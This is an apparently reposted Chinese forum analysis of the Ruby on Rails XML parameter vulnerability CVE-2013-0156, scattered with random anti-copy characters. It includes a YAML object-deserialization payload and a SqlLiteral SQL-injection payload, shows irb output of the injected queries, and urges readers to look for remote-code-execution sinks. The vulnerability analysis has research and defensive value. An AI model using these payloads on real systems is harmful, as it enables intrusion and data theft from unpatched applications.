中国网络渗透测试联盟

标题: Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析 [打印本页]
作者: admin    时间: 2013-1-11 21:16
标题: Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析
Author: wofeiwo#80sec.com 7 C' w( U3 n4 F  [

  U# i; u! X, C+ X! w注意，本文基本是这篇文章的中文版本，由于我水平有限，因此如果大家看的不是很明白，建议去原文查看。 5 Y/ f& F) T! q- t+ D/ x" u/ ?% S

. ?/ \0 A. c0 J3 b) g近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. 3 g* x2 F1 v6 g$ `" n( t, o4 a
2 G# H, ]% M  E9 G
CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. & h) i0 b8 K2 J3 d
4 E" D% b. r1 t: A# ?  }
为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如: " {1 R& A! ~* F! u, d' M% I$ G
' v/ y# Q. j9 ^; l
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为: , d( f4 h" }7 }- x1 Y* |
2 Z1 W8 `( h  C  s
"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml. 6 F8 O1 _: \( k  ~* D" Q
/ y  D: `6 L1 |- B( I
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?
4 w0 {- y. l- z8 I2 b7 O3 I8 @5 T% \3 b) e- C  a# j
然后我们测试下，就会发现，由于框架中对参数进行 data.with_indifferent_access 的操作（会把key全变成string），我们还是无法通过xml去将Key变成Symbol类型。所以，也无法利用此漏洞去利用CVE-2012-6496。
/ u! h7 D/ c& R. ?5 t9 h6 i7 i- N8 ~$ ~
但是等等，还有另一个参数类型，yaml。
, l/ @1 E$ B" E) x' K
1 r% A  Y9 V# I+ O9 n; T0 Nyaml强大的地方在于，利用yaml语言，你可以让Rails生成各种类型的数据结构，例如，Object。
, x' H& t3 x* g
* P$ w* R% N) n<test type="yaml">--- !ruby/object:A
, U9 h% M0 t( U( x) _! ]aaa: bbb </test>这基本类似于一个变量反序列化的过程，实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中，有将此Object的aaa属性带入eval/exec/system等关键语句中，就可以执行一些被污染的代码。 ( G+ K: U. \. ?, j: j; z' {9 M

8 Q$ N. P" i' P/ P  S" I) b5 D7 x2 t如果你熟悉rails的代码，或者其他开源rails的webapp，现在就可以找起来了。或许一个远程执行0day就此诞生。 ) x' u) n0 P) g
: P. P! L/ e- e3 B3 t( N$ [
如果你不熟悉ror，那么也没问题，实际上还有个利用方式，可以直接进行sql注入。
* n7 n9 M6 [3 K+ R/ v: m# ~: l. r4 b5 X2 l2 Y7 ^
一般在RoR中都是使用model.find_by_*的方式进行数据库查询（ActiveRecord模式） * u8 g$ y2 e( `$ D4 _- T1 ]
$ v( }9 ~  u$ W* N* q
model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量，使其成为可以注入的内容：
1 p& X$ {8 ~( }+ a6 t* h1 L% w# o% ~1 A5 e) P8 w
<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
9 L) _( @9 s' ~6 y7 P  d1 and 1=2 </id>利用如上代码，通过SqlLiteral对象，即可进行sql注入。 1 F7 V3 A" I& F
( _$ h1 e+ B# j* M$ u# w
irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms) SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助，没有他的解释和测试，我是无法理解RoR及本漏洞的。
% S0 p  e- F5 m" |: y
) v0 B2 |. n% x! Q! v6 a



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2